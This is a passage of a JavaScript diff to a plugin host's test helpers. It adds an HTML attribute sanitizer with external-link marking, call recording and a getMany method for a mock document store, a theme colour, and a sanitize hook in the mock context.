+ const uriOk = (attrName !== 'href' && attrName !== 'src') ||
427
+ FEED_HTML_POLICY.allowedUriRegexp.test(value.replace(/[\u0000-\u0020]/g, '')) ||
428
+ // The one exception the policy states: an inline image, which cannot run script.
429
+ (name === 'img' && attrName === 'src' && value.startsWith('data:'));
430
+ if (!allowed || !uriOk) {
431
+ el.removeAttribute(attr.name);
432
+ }
433
+ else if (value !== attr.value) {
434
+ el.setAttribute(attr.name, value);
435
+ }
436
+ }
437
+ markExternalLink(el);
438
+ }
439
+ }
440
+ /** `target="_blank"` and the host's `rel` on a link that leaves the site — nothing else is touched. */
441
+ function markExternalLink(el) {
442
+ if (el.localName !== 'a' || !el.hasAttribute('href')) {
443
+ return;
444
+ }
445
+ let url;
446
+ try {
447
+ url = new URL(el.getAttribute('href') ?? '', window.location.href);
448
+ }
449
+ catch {
450
+ return;
451
+ }
452
+ if ((url.protocol === 'http:' || url.protocol === 'https:') && url.origin !== window.location.origin) {
453
+ el.setAttribute('target', '_blank');
454
+ el.setAttribute('rel', FEED_HTML_POLICY.externalLinkRel);
455
+ }
456
+ }
332
457
  /** The host's canonicalisation rule: trim, collapse internal whitespace, casefold. */
333
458
  function canonicalTag(tag) {
334
459
  const canonical = tag.trim().replace(/\s+/g, ' ').toLowerCase();
@@ -643,13 +768,39 @@ function requireDocKey(key) {
643
768
  */
644
769
  export function makeMockDocs(initial = {}) {
645
770
  const stored = { ...initial };
771
+ const calls = [];
646
772
  return {
647
773
  stored,
648
- get: async (target, key) => (stored[`${docPath(target)}/${requireDocKey(key)}`] ?? null),
774
+ calls,
775
+ get: async (target, key) => {
776
+ calls.push({ method: 'get', partitions: [docPath(target)], keys: [key] });
777
+ return (stored[`${docPath(target)}/${requireDocKey(key)}`] ?? null);
778
+ },
779
+ getMany: async (type, ids, keys) => {
780
+ keys.forEach(requireDocKey);
781
+ calls.push({ method: 'getMany', partitions: ids.map((id) => docPath({ type, id })), keys: [...keys] });
782
+ const answer = {};
783
+ if (keys.length === 0) {
784
+ return answer;
785
+ }
786
+ for (const id of ids) {
787
+ const found = {};
788
+ for (const key of keys) {
789
+ const value = stored[`${docPath({ type, id })}/${key}`];
790
+ // Absent, not null: a miss is simply not a key in the answer, as the host sends it.
791
+ if (value !== undefined)
792
+ found[key] = value;
793
+ }
794
+ answer[id] = found;
795
+ }
796
+ return answer;
797
+ },
649
798
  put: async (target, key, value) => {
799
+ calls.push({ method: 'put', partitions: [docPath(target)], keys: [key] });
650
800
  stored[`${docPath(target)}/${requireDocKey(key)}`] = value;
651
801
  },
652
802
  list: async (target, opts) => {
803
+ calls.push({ method: 'list', partitions: [docPath(target)], keys: [] });
653
804
  const prefix = `${docPath(target)}/`;
654
805
  const items = Object.entries(stored)
655
806
  .filter(([path]) => path.startsWith(prefix))
@@ -668,6 +819,7 @@ export function makeMockDocs(initial = {}) {
668
819
  return result;
669
820
  },
670
821
  remove: async (target, key) => {
822
+ calls.push({ method: 'remove', partitions: [docPath(target)], keys: [key] });
671
823
  // Idempotent, like the host: removing what is gone resolves rather than rejecting.
672
824
  delete stored[`${docPath(target)}/${requireDocKey(key)}`];
673
825
  },
@@ -685,6 +837,7 @@ export const DEFAULT_THEME = {
685
837
  textMuted: '#666666',
686
838
  accent: '#3b5bdb',
687
839
  accentContrast: '#ffffff',
840
+ accentText: '#3b5bdb',
688
841
  accent2: '#7048e8',
689
842
  border: '#dddddd',
690
843
  };
@@ -875,6 +1028,8 @@ export function makeMockCtx(overrides = {}) {
875
1028
  // so there is no "declared it or not" case for a component to handle here.
876
1029
  docs: makeMockDocs(),
877
1030
  feeds: makeMockFeeds(),
1031
+ // The host's policy, reimplemented closely enough for a component test to see the same removals.
1032
+ sanitize: sanitizeLikeHost,
878
1033
  // Null, like schema and blobs: `ctx.tags` exists only for a plugin whose manifest declares a `tags`
879
1034
  // block, and a component written against a context that always has one breaks on every plugin that
880
1035
  // does not.